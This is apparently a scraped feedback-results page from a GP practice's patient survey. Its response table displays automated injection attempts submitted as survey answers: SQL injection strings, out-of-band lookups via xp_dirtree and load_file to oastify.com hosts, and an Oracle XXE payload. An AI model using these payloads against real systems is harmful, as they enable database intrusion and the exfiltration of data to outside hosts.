Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’h9rug00n0lprn7lq6kf17var0i6mufk3buzmmja8.oasti’+’fy.commed’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 6:06 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %bnzxn;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 6:06 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %bnzxn;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 6:06 am |
Very good58908036′ or ‘2751’=’2751 | [10] | [11] | July 4, 2023 at 6:06 am |
Very good’+(select load_file(‘\unl7ude0ey341kz3kxtel8o4evkz8sygpjdb08ox.oastify.comvwq’))+’ | [10] | [11] | July 4, 2023 at 6:06 am |
